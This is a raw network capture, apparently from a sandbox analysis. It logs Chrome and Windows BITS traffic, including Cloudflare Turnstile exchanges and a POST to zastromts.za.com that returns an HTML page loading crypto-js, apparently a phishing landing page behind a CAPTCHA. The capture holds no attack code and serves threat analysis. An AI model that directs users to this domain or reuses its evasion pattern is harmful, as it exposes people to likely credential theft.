Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49726	104.18.94.41	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:29 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/773062457:1730299201:q1CDYIcjkB4UHLDTbMFORExlajSIF5RmcYT0suwBdz4/8dac6ae8de8646e3/eCQJuNBQ1CsTPjMHTuAkyOPj_FsVr0P4JLXHMcicTVE-1730301922-1.1.1.1-P6MbYl8YnFjv_TCPPhVAr9XWilrHVd3B3u.6MqKnNj05LNU.8fo8Z9_fYw9yTNsj HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:29 UTC	379	IN	HTTP/1.1 404 Not Found Date: Wed, 30 Oct 2024 15:25:29 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: eQ85DayubKmWRxBvDPvr4dgwVtA7KeLaRDY=$LeGoXSCe8/0hQofn cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8dac6b1509712d45-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 15:25:29 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49727	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:30 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-30 15:25:30 UTC	465	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF67) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=4789 Date: Wed, 30 Oct 2024 15:25:30 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	49730	104.18.95.41	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:35 UTC	1150	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/773062457:1730299201:q1CDYIcjkB4UHLDTbMFORExlajSIF5RmcYT0suwBdz4/8dac6ae8de8646e3/eCQJuNBQ1CsTPjMHTuAkyOPj_FsVr0P4JLXHMcicTVE-1730301922-1.1.1.1-P6MbYl8YnFjv_TCPPhVAr9XWilrHVd3B3u.6MqKnNj05LNU.8fo8Z9_fYw9yTNsj HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34274 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: eCQJuNBQ1CsTPjMHTuAkyOPj_FsVr0P4JLXHMcicTVE-1730301922-1.1.1.1-P6MbYl8YnFjv_TCPPhVAr9XWilrHVd3B3u.6MqKnNj05LNU.8fo8Z9_fYw9yTNsj sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/d11ix/0x4AAAAAAAxn_rTxRBzdM1iX/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:35 UTC	16384	OUT	Data Raw: 76 5f 38 64 61 63 36 61 65 38 64 65 38 36 34 36 65 33 3d 67 30 4c 47 35 6e 39 78 62 70 4c 38 4c 38 78 5a 41 39 35 43 65 24 46 43 6c 39 39 72 43 74 47 44 30 43 74 43 65 47 4a 4c 5a 75 43 55 43 6e 79 5a 37 36 73 43 58 70 33 43 5a 59 47 6e 66 43 31 47 4a 62 43 6b 43 34 79 6c 4c 4c 43 70 30 39 65 39 39 76 43 39 39 64 32 4e 51 6c 6c 56 6d 47 43 52 6d 43 31 37 36 47 48 6f 65 47 6e 4a 43 33 63 59 6e 38 4f 43 51 76 59 5a 4c 43 70 79 43 54 41 47 43 56 31 48 46 43 43 79 62 43 6b 4e 43 5a 70 34 70 59 43 61 4b 63 4d 31 35 6a 6d 56 63 59 43 50 68 53 48 4c 41 46 4e 69 78 50 33 31 73 65 63 59 6b 4c 4c 51 51 4e 6e 43 47 4c 43 38 32 4c 43 5a 75 53 69 56 47 41 30 43 38 6c 7a 6e 70 51 6c 68 67 75 72 49 59 6e 53 70 41 41 33 61 31 41 6f 2d 7a 56 72 56 47 24 24 35 4f 48 39 6b Data Ascii: v_8dac6ae8de8646e3=g0LG5n9xbpL8L8xZA95Ce$FCl99rCtGD0CtCeGJLZuCUCnyZ76sCXp3CZYGnfC1GJbCkC4ylLLCp09e99vC99d2NQllVmGCRmC176GHoeGnJC3cYn8OCQvYZLCpyCTAGCV1HFCCybCkNCZp4pYCaKcM15jmVcYCPhSHLAFNixP31secYkLLQQNnCGLC82LCZuSiVGA0C8lznpQlhgurIYnSpAA3a1Ao-zVrVG$$5OH9k
2024-10-30 15:25:35 UTC	16384	OUT	Data Raw: 77 68 64 62 47 24 59 6e 37 43 59 43 2d 62 54 43 44 74 39 4c 39 53 43 63 43 6c 6a 39 53 39 5a 43 70 47 43 43 43 52 24 34 38 30 39 49 43 79 59 6e 77 6d 73 43 7a 53 43 69 43 42 43 39 33 39 43 39 7a 43 5a 59 38 48 43 62 43 67 43 6e 4a 39 65 43 6e 6a 43 68 39 6b 43 4e 6a 39 78 43 54 43 6e 59 38 31 47 71 77 41 4a 58 78 39 30 43 6c 43 46 45 6d 76 43 33 76 39 59 39 4f 77 78 75 43 62 39 51 43 67 78 4d 31 39 6e 43 31 78 58 69 39 36 54 71 47 46 46 43 4e 43 65 43 24 47 5a 70 67 4e 59 38 69 43 76 43 6c 43 4a 48 43 54 43 33 6a 46 74 43 4a 43 6d 6a 6e 74 43 6b 43 4c 64 58 6a 43 39 43 58 4d 35 39 2d 45 77 65 68 6f 66 2d 72 38 79 62 39 73 39 63 75 6b 4f 66 44 2d 62 68 65 6b 66 75 36 61 59 7a 39 58 7a 62 46 45 38 59 70 66 2d 62 68 33 48 24 43 6e 53 59 44 43 46 74 59 63 47 Data Ascii: whdbG$Yn7CYC-bTCDt9L9SCcClj9S9ZCpGCCCR$4809ICyYnwmsCzSCiCBC939C9zCZY8HCbCgCnJ9eCnjCh9kCNj9xCTCnY81GqwAJXx90ClCFEmvC3v9Y9OwxuCb9QCgxM19nC1xXi96TqGFFCNCeC$GZpgNY8iCvClCJHCTC3jFtCJCmjntCkCLdXjC9CXM59-Ewehof-r8yb9s9cukOfD-bhekfu6aYz9XzbFE8Ypf-bh3H$CnSYDCFtYcG
2024-10-30 15:25:35 UTC	1506	OUT	Data Raw: 36 43 6e 56 4b 34 4c 72 4e 51 48 39 61 43 41 46 55 74 39 35 47 51 30 5a 51 6c 78 75 52 64 24 45 44 43 50 77 6e 6d 37 35 74 75 48 45 38 48 4b 51 43 33 56 53 74 79 31 59 66 4b 43 4a 5a 53 43 4e 63 4a 36 67 33 43 39 4c 73 47 39 6e 6d 50 35 4a 76 43 64 43 61 59 5a 4d 76 63 43 4a 4e 58 79 35 35 4f 39 31 34 66 63 24 48 6d 30 43 78 43 66 48 32 30 5a 59 43 41 74 76 46 62 51 39 33 43 7a 74 63 56 59 74 43 4e 50 6b 74 43 67 50 6e 47 31 2d 51 74 6d 6e 7a 6b 6d 4e 63 72 32 79 38 51 43 66 78 63 79 2d 64 24 4d 37 77 43 43 59 39 37 63 62 44 72 35 47 76 6e 6f 54 36 65 51 76 50 38 43 24 63 58 35 4f 4e 7a 51 54 57 31 31 30 62 24 49 65 54 4c 6f 42 34 74 2d 6a 56 7a 4a 6d 6c 53 4d 37 52 69 74 59 36 59 62 4c 6b 62 6d 56 41 62 38 44 77 6b 57 50 43 31 51 4a 74 4e 4e 55 49 51 68 Data Ascii: 6CnVK4LrNQH9aCAFUt95GQ0ZQlxuRd$EDCPwnm75tuHE8HKQC3VSty1YfKCJZSCNcJ6g3C9LsG9nmP5JvCdCaYZMvcCJNXy55O914fc$Hm0CxCfH20ZYCAtvFbQ93CztcVYtCNPktCgPnG1-QtmnzkmNcr2y8QCfxcy-d$M7wCCY97cbDr5GvnoT6eQvP8C$cX5ONzQTW110b$IeTLoB4t-jVzJmlSM7RitY6YbLkbmVAb8DwkWPC1QJtNNUIQh
2024-10-30 15:25:35 UTC	1361	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 15:25:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4476 Connection: close cf-chl-out-s: 0//ZR8Opgl6YviNAvfMDTAuGFBnAB6ibw2SOf4Z6jy1k2+2//FkK+FUkfWw8m120275n9VfL2hOxLUxhdQV/amjqv58/F1aOBcjDuElU2rexSqe4u0eYHnr6DoyRBgyk0D6AKpTXduauJeeWkUom35Ci8An4TtIUMq9ILhoPl2Z5TJTbvoBFkEZY44xtRz+Zk++35+jJIGsclS6mZkr4sLDL0a9/+CugevbWdqbm/k9enqU4eNRbpqL+GnOaTSOGGu04WUI+rVbrvewvLa3ri0qEebwku1JpVZd11Dpj5Vg1dBzWrocnkl3T2NctUSi/FRzUMhIWwOufIJhX+2X78LIOGUii9SmdHbfuPRoCkkWSF2eqPoy8QiyTzTQ1nu8Q4Nro4H5QjxbS35OFMRp2CU3uXQG4kJes1dRXffsa/88DAk3WV4D+Up/nq+z/fED5+wNytHryCeFFFgQFG6eyhugmnp5bNNFwSYVPQFbIzMkU5n196+7t4sNtx8ludbNNbT0knDTUp3PSUjLMjGvfXJMP1h3TaUPkmLJPQ3JDnf8HQK58AV3pdskvv0YESd9SzPPIiBRDqGm8VU1X1cn/Ow7Xv4JnonmuNYqqB4p4pBV3csKAMKEz1Oy+okfnX4C/tAfWhBha+9SKZoXU5CXU9wvYiZoQ388/ZfbFTFUwS5jpEYOt0UIqgVpihtzHzXaK7lImORP28MLg5gHx2AS0cWIUicgdoIaUcN3zypfq+91zPjqjea7xObwkuOO5CeCTfv4IEC/m4FCgDD5UR0pKKEddjFtVm2d9uMojBTPUwnbjSYdI/eMA2CDs0d56pWuBeZBLm209NJl12Gt7+WzTQHWy+bqdIv9LJv3eo+iJLJTq5GSMRf4quyxoXTeRzuVS1/qcmSi30iLiiRlhejefKLhw4kMW+IRKeRJxAQ3RXfxBwfnuUIO5+Vn5YBnAvwyWMpu7GN7jW9eVMUiau/bdct4LkrCk5hQ=$2yZDMqbMwcFZs8Vw cf-chl-out: IadmTlHeMarpHhe5bhSLbJfM+DXCUUviL0g5G3jYRzwrlZpXAEY7K8rVxb4V0HbY7085F2B9TiWgVsnvPcq3Vt2ezCKLXGB7WbxFktMDTTtMUPa+ViJASH0=$psV0QuCKGUBh9fmu Server: cloudflare CF-RAY: 8dac6b36ba272d38-DFW
2024-10-30 15:25:35 UTC	32	IN	Data Raw: 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: alt-svc: h3=":443"; ma=86400
2024-10-30 15:25:35 UTC	1345	IN	Data Raw: 73 37 61 57 63 34 56 33 6a 4b 32 66 74 5a 79 6c 70 62 4f 44 74 4c 75 5a 67 62 61 4b 6a 73 6a 4e 6a 63 36 64 6e 73 2b 77 72 37 4f 34 6b 5a 65 78 74 62 71 38 6d 37 54 55 34 39 4c 63 76 4d 57 6b 35 75 62 4a 71 4f 6a 42 34 4f 50 73 33 50 54 4d 35 2b 6a 56 31 50 4c 6b 79 62 4c 34 30 63 30 43 41 64 65 31 75 2f 72 37 39 67 66 6f 2b 4e 50 5a 31 65 62 4f 33 76 45 43 45 65 41 51 30 76 55 51 44 4e 59 45 45 42 54 64 32 78 55 51 38 76 6f 63 33 39 7a 79 41 65 44 71 47 52 72 6c 47 2b 55 76 48 43 73 6d 36 78 49 42 4a 68 6f 4c 46 52 66 36 43 6a 38 63 4e 41 39 43 45 43 41 64 50 68 30 68 49 54 73 4c 4f 53 46 50 4d 44 38 7a 45 45 49 75 51 6c 4e 55 43 79 70 61 4b 56 68 47 4c 54 6c 50 54 69 39 4e 58 47 42 51 55 55 5a 6d 4f 43 68 70 57 57 4a 71 4b 6c 4d 71 4c 6d 56 66 59 6e 5a Data Ascii: s7aWc4V3jK2ftZylpbODtLuZgbaKjsjNjc6dns+wr7O4kZextbq8m7TU49LcvMWk5ubJqOjB4OPs3PTM5+jV1PLkybL40c0CAde1u/r79gfo+NPZ1ebO3vECEeAQ0vUQDNYEEBTd2xUQ8voc39zyAeDqGRrlG+UvHCsm6xIBJhoLFRf6Cj8cNA9CECAdPh0hITsLOSFPMD8zEEIuQlNUCypaKVhGLTlPTi9NXGBQUUZmOChpWWJqKlMqLmVfYnZ
2024-10-30 15:25:35 UTC	1369	IN	Data Raw: 33 32 58 6b 4a 79 70 6f 72 4f 6e 68 58 53 4f 6f 70 71 79 65 61 57 63 75 37 6d 7a 6f 35 32 68 73 33 2f 44 6f 4c 36 6f 6f 62 6a 45 6e 63 65 59 75 6f 79 6b 6a 4c 37 4d 73 4a 4c 54 72 4c 44 59 79 74 58 65 34 63 6d 65 6e 39 33 52 33 75 66 47 33 74 4f 30 6e 74 37 57 35 38 7a 69 72 38 6e 4f 37 62 48 71 75 4f 7a 78 74 4f 76 73 38 76 72 36 39 4f 4f 31 30 76 66 39 75 51 54 7a 32 73 66 48 39 38 76 49 33 41 44 69 34 4d 38 46 35 75 44 56 41 74 50 78 35 52 54 2b 33 39 77 52 46 39 77 46 45 76 55 59 2f 68 6e 34 33 53 59 57 36 53 77 4c 4a 53 73 43 43 79 6b 48 4b 7a 6b 78 43 6a 41 32 4d 50 67 34 4b 54 59 55 52 43 38 77 46 78 56 4a 4e 77 51 6d 53 7a 64 48 43 53 70 43 44 43 35 52 52 6b 73 59 53 6b 51 59 55 45 68 4d 50 30 67 33 55 44 4a 51 50 6c 52 47 56 44 64 56 59 53 68 6d Data Ascii: 32XkJyporOnhXSOopqyeaWcu7mzo52hs3/DoL6oobjEnceYuoykjL7MsJLTrLDYytXe4cmen93R3ufG3tO0nt7W58zir8nO7bHquOzxtOvs8vr69OO10vf9uQTz2sfH98vI3ADi4M8F5uDVAtPx5RT+39wRF9wFEvUY/hn43SYW6SwLJSsCCykHKzkxCjA2MPg4KTYURC8wFxVJNwQmSzdHCSpCDC5RRksYSkQYUEhMP0g3UDJQPlRGVDdVYShm
2024-10-30 15:25:35 UTC	1369	IN	Data Raw: 32 46 70 59 53 72 74 33 71 53 69 5a 47 64 66 36 2b 4e 65 70 56 38 78 63 61 56 67 70 4f 55 68 70 61 66 6a 4b 4f 38 6f 4b 75 62 70 35 37 54 6c 74 50 57 79 4c 76 55 32 72 69 72 72 71 36 71 34 64 4f 79 35 4c 6d 66 74 64 72 56 78 2b 69 32 33 65 54 44 79 75 65 74 76 2f 62 77 73 63 58 70 72 62 7a 46 37 4c 6b 42 30 39 58 5a 78 4e 6a 7a 76 74 66 5a 2b 76 33 59 33 74 6e 58 43 74 34 42 30 63 62 6f 38 4e 59 45 35 4e 6a 7a 39 4e 30 63 33 76 7a 54 36 68 34 45 39 66 37 37 38 2f 76 6f 34 76 7a 2b 4c 79 6e 70 42 4f 6a 73 36 7a 45 4f 49 67 51 46 44 69 59 4e 38 79 67 75 50 6a 34 4c 4d 55 59 51 44 7a 42 4b 43 6b 77 55 4a 45 67 38 49 42 39 4d 51 79 51 6b 49 54 46 4a 57 43 56 49 47 7a 55 76 46 52 30 59 4c 46 41 6a 4f 54 6f 78 57 6b 67 7a 4b 54 78 69 50 6b 67 72 59 55 46 30 50 Data Ascii: 2FpYSrt3qSiZGdf6+NepV8xcaVgpOUhpafjKO8oKubp57TltPWyLvU2rirrq6q4dOy5LmftdrVx+i23eTDyuetv/bwscXprbzF7LkB09XZxNjzvtfZ+v3Y3tnXCt4B0cbo8NYE5Njz9N0c3vzT6h4E9f778/vo4vz+LynpBOjs6zEOIgQFDiYN8yguPj4LMUYQDzBKCkwUJEg8IB9MQyQkITFJWCVIGzUvFR0YLFAjOToxWkgzKTxiPkgrYUF0P
2024-10-30 15:25:35 UTC	393	IN	Data Raw: 33 64 6f 71 52 69 37 53 42 6a 49 42 37 6b 71 2b 69 79 5a 4b 53 6f 36 72 4e 7a 4b 58 52 7a 61 57 37 6a 73 2f 50 6b 4e 6d 68 6d 4b 2b 6e 31 38 66 48 6d 4e 79 31 6f 4a 61 75 33 39 65 69 34 2b 50 62 72 4c 58 6e 33 36 66 72 34 4e 75 75 38 62 37 68 79 50 54 43 32 38 62 34 78 75 6e 50 79 67 48 7a 75 38 30 41 33 62 72 53 2b 50 50 45 43 50 63 41 45 67 7a 37 37 63 30 51 37 76 66 6e 46 41 54 55 7a 75 62 63 45 43 4c 71 34 50 76 64 4a 76 76 2b 38 76 34 6f 4a 53 50 6c 4a 66 30 46 4a 41 55 77 42 66 49 70 4e 44 4d 7a 4b 43 30 52 50 2f 33 35 2f 55 4d 43 51 51 42 48 47 30 55 45 2b 30 68 4e 43 6b 34 46 43 41 64 49 4d 69 34 39 52 52 45 74 55 6c 42 45 4a 46 77 33 48 78 39 4d 53 79 30 76 56 56 63 6b 50 6c 73 31 61 31 35 49 52 6b 64 6c 4c 46 70 42 59 6b 38 32 4c 57 6b 76 64 6d Data Ascii: 3doqRi7SBjIB7kq+iyZKSo6rNzKXRzaW7js/PkNmhmK+n18fHmNy1oJau39ei4+PbrLXn36fr4Nuu8b7hyPTC28b4xunPygHzu80A3brS+PPECPcAEgz77c0Q7vfnFATUzubcECLq4PvdJvv+8v4oJSPlJf0FJAUwBfIpNDMzKC0RP/35/UMCQQBHG0UE+0hNCk4FCAdIMi49RREtUlBEJFw3Hx9MSy0vVVckPls1a15IRkdlLFpBYk82LWkvdm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49729	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:35 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-30 15:25:36 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=25933 Date: Wed, 30 Oct 2024 15:25:36 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-30 15:25:36 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49731	104.18.94.41	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:36 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/773062457:1730299201:q1CDYIcjkB4UHLDTbMFORExlajSIF5RmcYT0suwBdz4/8dac6ae8de8646e3/eCQJuNBQ1CsTPjMHTuAkyOPj_FsVr0P4JLXHMcicTVE-1730301922-1.1.1.1-P6MbYl8YnFjv_TCPPhVAr9XWilrHVd3B3u.6MqKnNj05LNU.8fo8Z9_fYw9yTNsj HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:36 UTC	379	IN	HTTP/1.1 404 Not Found Date: Wed, 30 Oct 2024 15:25:36 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: 39dfIOadhtu0DD5hFTbZBVs8VRkpMlU0hWc=$pX/B4Q8TP32ZsLcG Server: cloudflare CF-RAY: 8dac6b3ceb3b2e5a-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 15:25:36 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	49734	188.114.97.3	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:36 UTC	889	OUT	POST /v3oX/ HTTP/1.1 Host: zastromts.za.com Connection: keep-alive Content-Length: 859 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://zastromts.za.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://zastromts.za.com/v3oX/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=mc0689n6mmc3k1455o5ersf901
2024-10-30 15:25:36 UTC	859	OUT	Data Raw: 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 3d 30 2e 44 32 63 49 65 4e 36 59 58 6b 6e 61 7a 48 39 61 4d 38 44 61 57 6f 44 52 65 37 55 42 56 37 63 41 4c 6c 31 6e 4d 71 55 5a 38 65 68 75 43 36 38 48 78 62 45 4c 67 47 4b 4e 51 69 79 48 4a 58 6a 37 6b 71 7a 57 73 6e 52 44 66 66 4e 38 63 42 4d 71 4e 78 37 37 72 66 6f 32 63 78 33 4a 33 62 76 63 61 36 72 4b 6a 34 75 61 35 45 62 68 43 74 68 7a 6b 42 79 37 6c 7a 6f 4b 4c 52 62 35 42 44 59 45 5a 4b 56 79 61 53 6f 5a 54 36 6a 6c 35 74 52 67 78 30 58 38 32 74 77 4c 63 72 38 77 74 45 78 48 38 6b 7a 33 6f 7a 76 66 41 52 54 38 71 4a 43 7a 79 45 50 32 44 69 4f 52 39 4c 62 6e 71 4c 65 61 76 4c 5a 62 68 72 59 30 6c 68 5f 54 49 36 59 72 6f 68 78 6f 62 6b 53 79 67 51 44 63 4b 78 30 70 67 31 78 33 66 64 6c Data Ascii: cf-turnstile-response=0.D2cIeN6YXknazH9aM8DaWoDRe7UBV7cALl1nMqUZ8ehuC68HxbELgGKNQiyHJXj7kqzWsnRDffN8cBMqNx77rfo2cx3J3bvca6rKj4ua5EbhCthzkBy7lzoKLRb5BDYEZKVyaSoZT6jl5tRgx0X82twLcr8wtExH8kz3ozvfART8qJCzyEP2DiOR9LbnqLeavLZbhrY0lh_TI6YrohxobkSygQDcKx0pg1x3fdl
2024-10-30 15:25:37 UTC	962	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 15:25:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/7.3.33 access-control-allow-origin: * expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=39xCoLFNTbOiPB%2BiU9KBFy%2FyJ3Qkocbxx3IZsCxHl1pnC7PUdI6FZ33pnCdj02h%2Fdr5umG7%2FkHtvz2EHzQrniZVTaBd%2B%2B0j9L7Vw2609dIrfQHmrZ%2FTXPuD%2FJNwqI9u5T7uF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dac6b406c142ccc-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1402&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2841&recv_bytes=2348&delivery_rate=1567948&cwnd=251&unsent_bytes=0&cid=51d043f6a49b171d&ts=738&x=0"
2024-10-30 15:25:37 UTC	407	IN	Data Raw: 31 39 30 36 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0a 0a 09 09 09 3c 68 65 61 64 3e 0d 0a 0a 0a 20 09 3c 6d 65 74 61 09 20 09 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 20 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 09 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 09 3c 6d 65 74 61 09 09 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 09 09 09 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 09 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 09 20 3c 73 63 72 69 70 74 20 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 63 72 79 70 74 6f 2d 6a 73 2f 34 2e 30 2e 30 2f 63 72 79 70 74 6f 2d 6a 73 2e 6d 69 6e 2e 6a 73 22 3e 20 3c 2f 73 Data Ascii: 1906<html><head> <meta name="viewport" content="width=device-width,initial-scale=1.0"><meta name="robots"content="noindex,nofollow"> <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js"> </s
2024-10-30 15:25:37 UTC	1369	IN	Data Raw: 7b 09 20 30 25 20 09 20 2c 20 20 20 31 30 30 25 09 09 2c 09 09 31 32 2e 35 25 09 20 20 2c 20 20 33 32 2e 35 25 09 2c 20 09 37 36 2e 31 25 09 20 7b 09 09 74 72 61 6e 73 66 6f 72 6d 3a 09 74 72 61 6e 73 6c 61 74 65 59 28 30 29 20 7d 09 09 20 32 32 2e 35 25 09 2c 20 38 36 25 20 09 20 7b 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 09 09 74 72 61 6e 73 6c 61 74 65 59 28 37 70 78 29 09 09 20 7d 20 09 7d 09 23 6f 62 66 75 73 63 61 74 69 6f 6e 09 09 7b 09 68 65 69 67 68 74 3a 09 20 20 31 37 39 70 78 3b 77 69 64 74 68 3a 20 20 09 31 33 30 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 09 09 68 69 64 64 65 6e 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 09 20 2d 35 39 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 09 20 32 35 70 78 09 20 09 7d 20 40 6b 65 79 66 72 61 6d 65 73 20 09 73 68 Data Ascii: { 0% , 100%,12.5% , 32.5%, 76.1% {transform:translateY(0) } 22.5%, 86% { transform: translateY(7px) } }#obfuscation{height: 179px;width: 130px;overflow:hidden;margin-top: -59px;margin-left: 25px } @keyframes sh
